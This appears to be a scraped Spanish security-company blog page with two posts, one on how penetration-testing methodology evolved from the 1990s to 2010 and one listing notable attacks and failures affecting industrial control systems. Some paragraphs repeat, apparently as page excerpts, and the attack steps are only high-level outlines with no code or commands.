Y aquí continuamos, actualizando y mejorando nuestras técnicas y herramientas, adaptándonos y tratando de adelantarnos al futuro. Quién sabe si algún día nos tengamos que limitar solo a auditar el cumplimiento de las normativas de seguridad, sin tener que llevar siempre encima nuestro portátil y nuestro kit de herramientas de ataque.
¿Pero quién asegurará entonces que una red o sistema tiene implementada las medidas de seguridad correctamente y puedan contener un ataque?
Ramón Pinuaga y Christian Martorella
Dept. Auditoria S21sec
PD: Perdón por el abuso de anglicismos en el texto. Pero, qué sería de los Pentesters sin nuestra horrible jerga...
Por si alguien aun no sabe a qué se dedica un Pentester, la Wikipedia nos da la siguiente definición de Pentest: Método de evaluar la seguridad de una red o sistema informático mediante la simulación de un ataque malicioso por parte de un Hacker blackhat o Cracker.
En resumen es evaluar la seguridad de un sistema con los mismos métodos que lo haría un atacante real.
El objetivo de un Pentest no es detectar todas las vulnerabilidades presentes en los sistemas, sino cumplir con un objetivo pactado con el cliente como puede ser: obtener acceso a la información confidencial, intentar sacar información hacia afuera sin ser detectados, tomar el control de servidores internos críticos, evitar ser detectados por los sistemas de protección, etc.
Generalmente el perfil de empresa que requiere estos servicios son empresas que tienen medidas de seguridad implementadas que quieren verificar su funcionamiento.
Recuerdo que en el año 2000 muchos aventuraban el final de este tipo de trabajos tal y como se conocían. Yo mismo pensaba igual. Pero aquí seguimos.
También es curioso el nivel de éxito (o fracaso) que se sigue logrando en estos trabajos. Ya no estamos en el 100% de objetivos de intrusión logrados como en los primeros años, pero aun se alcanzan porcentajes notablemente altos considerando el perfil de nuestros clientes habituales: Grandes empresas, con una inversión aceptable en seguridad y con medidas de seguridad actualizadas (Firewalls, IPS, Control de usuarios, Actualizaciones automáticas, etc.).
A pesar del avance de las tecnologías de seguridad, de la mayor concienciación de los administradores y usuarios, aun es necesaria la comprobación empírica de que las medidas de seguridad son suficientes (o insuficientes) para detener a un atacante.
Las técnicas de Pentesting han cambiado mucho en estos años, pero básicamente la metodología sigue siendo la misma. Cambian las tecnologías, mejoran las protecciones, pero siguen existiendo fallos que permiten vulnerar la seguridad de un sistema.
Además el proceso habitual para aprovechar estos fallos sigue teniendo un esquema “básico” similar:
En los 90 el proceso solía ser:
1) Exploración de números de teléfono en busca de módems o de redes X25 en busca de direcciones accesibles
2) Localización de una vulnerabilidad en el sistema de login
3) Aprovechamiento de esas credenciales para acceder al sistema
4) Configuración de una cuenta de usuario oculta como puerta trasera para poder volver a acceder al sistema
En el 2000 el proceso que repetíamos una y otra vez era:
1) Exploración de los servicios abiertos
2) Localización de una vulnerabilidad en estos servicios
3) Lanzamiento de un exploit que permitía ejecutar comandos en el sistema
4) Acceso al equipo mediante una shell bindeada a un puerto
5) Configuración de un servicio de red oculto como puerta trasera para poder volver a acceder al sistema
Y en el 2010 seguimos por el mismo camino pero con distintas tecnologías:
1) Exploración de aplicativos web
2) Localización de una vulnerabilidad web
3) Aprovechamiento de esta vulnerabilidad para ejecutar código en el sistema
4) Upload al servidor web de una pequeña aplicación oculta como puerta trasera para poder acceder al sistema
Estos procesos son solamente un “breve” ejemplo de las metodologías y pruebas que solemos realizar en un Pentest. Pero su evolución demuestra el rápido cambio que se ha producido en el mundo de la seguridad.
Y aquí continuamos, actualizando y mejorando nuestras técnicas y herramientas, adaptándonos y tratando de adelantarnos al futuro. Quién sabe si algún día nos tengamos que limitar solo a auditar el cumplimiento de las normativas de seguridad, sin tener que llevar siempre encima nuestro portátil y nuestro kit de herramientas de ataque.
¿Pero quién asegurará entonces que una red o sistema tiene implementada las medidas de seguridad correctamente y puedan contener un ataque?
Ramón Pinuaga y Christian Martorella
Dept. Auditoria S21sec
PD: Perdón por el abuso de anglicismos en el texto. Pero, qué sería de los Pentesters sin nuestra horrible jerga...
INCIDENTES SCADA
En el día de hoy voy a realizar una pequeña lista de incidentes en sistemas de control industrial. Esto es debido a que leyendo una noticia sobre incidentes de seguridad, me pareció interesante listar los incidentes más conocidos para hacer ver la importancia que tiene la seguridad en este tipo de entornos.
La noticia muestra como ha sido la evolución de los incidentes en estos últimos años, basándose en el RISI (Repository of Industrial Security Incidents) que ya tratamos en otro post.
El "2009 Annual Report on Cyber Security Incidents and Trends Affecting Industrial Control Systems" es un análisis de todos los incidentes registrados hasta el 31 de diciembre de 2009. Dicho análisis se realizó para determinar dónde y cuándo se produjeron los 175 incidentes confirmados. En los últimos 5 años se ha notado un cambio importante en la tasa de incidencias, ya que se ha podido observar que los incidentes en industrias petrolíferas y químicas han disminuido en más de un 80%, pero han aumentado en el sector de aguas/aguas residuales más de un 300% y en el sector de la energía eléctrica un 30%.
La mayoría de estos incidentes (casi el 50%) han sido causados por malware, gusanos, virus, y troyanos, aunque cabe destacar el aumento de los incidentes debido a fallos de equipos producidos por anomalías de red (debido a la interconexión de redes).
A continuación se listan los incidentes con mayor repercusión:
La noticia muestra como ha sido la evolución de los incidentes en estos últimos años, basándose en el RISI (Repository of Industrial Security Incidents) que ya tratamos en otro post.
El "2009 Annual Report on Cyber Security Incidents and Trends Affecting Industrial Control Systems" es un análisis de todos los incidentes registrados hasta el 31 de diciembre de 2009. Dicho análisis se realizó para determinar dónde y cuándo se produjeron los 175 incidentes confirmados. En los últimos 5 años se ha notado un cambio importante en la tasa de incidencias, ya que se ha podido observar que los incidentes en industrias petrolíferas y químicas han disminuido en más de un 80%, pero han aumentado en el sector de aguas/aguas residuales más de un 300% y en el sector de la energía eléctrica un 30%.
La mayoría de estos incidentes (casi el 50%) han sido causados por malware, gusanos, virus, y troyanos, aunque cabe destacar el aumento de los incidentes debido a fallos de equipos producidos por anomalías de red (debido a la interconexión de redes).
A continuación se listan los incidentes con mayor repercusión:
- El ordenador portátil de un empleado es comprometido con la instalación de malware a través de Internet. Este portátil sirvió posteriormente para instalar virus y spyware en el sistema informático de la planta. Se cree que el atacante operaba desde el exterior de los EEUU. Su objetivo no era la planta de tratamiento de aguas en sí misma, sino lograr recursos con los que distribuir spam o realizar otro tipo de ataques (como por ejemplo DoS distribuido)
- De acuerdo a informaciones proporcionadas por el Ministerio del Interior ruso, unos hackers consiguieron comprometer los sistemas del monopolio estatal ruso Gazprom. Los hackers colaboraron con un empleado del propio momopolio que les ayudó a instalar un troyano que les permitió hacerse con el control del panel de un centro de control, desde el que se contralaba los flujos de gas natural en los gaseoductos. Fuentes oficiales consideran que el incidente podría haber desembocado en un gran desastre natural. Conviene recordar que Gazprom cuenta con la mayor red de distribución de gas natural del mundo y que es el principal suministrador de los países de Europa occidental.
- Varios hackers son capaces de penetrar los sistemas informáticos de varias eléctricas y tomar el control remotamente, y desde Internet, de la distribución eléctrica a varias ciudades en EEUU. Los criminales extorsionaron a los responsables de las eléctricas con el objetivo de lograr una compensación económica a cambio de no cortar el suministro eléctrico a varias ciudades. Al menos en un caso, se produjo un corte que afectó a múltiples ciudades estadounidenses.
- El gusano Slammer de MS SQL Server infecta una red informática de carácter privado perteneciente a la planta nuclear David – Besse. Como consecuencia queda desactivado durante cinco horas un sistema encargado de monitorizar que la planta estaba operando bajo condiciones de seguridad. El personal de la planta creía que la red estaba asegurada ya que estaba protegida por un cortafuegos.
- Un hombre de 49 años realizó múltiples ataques al sistema de control del sistema de depuración de aguas de Maroocky Shire, en Queensland (Australia). Los ataques se realizaron utilizando un portátil, equipamiento de radio y aplicaciones de control de la planta, desde el aparcamiento de las instalaciones de la depuradora. El atacante era empleado de la empresa responsable de la instalación del sistema de control, y los ataques fueron en respuesta al rechazo de su solicitud para trabajar en una puesto en el Ayuntamiento de la zona. Varios millones de litros de aguas residuales -una piscina olímpica tiene una capacidad de cerca de dos millones de litros- fueron liberados contaminando ríos y parques, y haciendo el ambiente irrespirable para los ciudadanos.
- Debido a una actualización software instalada en un único ordenador, la planta nuclear Edwin I en Georgia se ve forzada a realizar una parada de emergencia durante 48 horas. La actualización de software fue realizada por la empresa Souther Company, responsable de la gestión de operaciones tecnológicas de la planta. El ordenador en cuestión era utilizado para la monitorización de datos químicos y de diagnóstico asociados con uno de los sistemas de control primarios de la planta. Tras la instalación de la actualización, el ordenador fue reiniciado, lo que derivó en falta de información de monitorización, que a su vez fue malinterpretada por los sistemas de seguridad de la planta, que disparon un apagado de emergencia de la misma.
Iker Berriozabal
S21sec labs
Suscribirse a:
Entradas (Atom)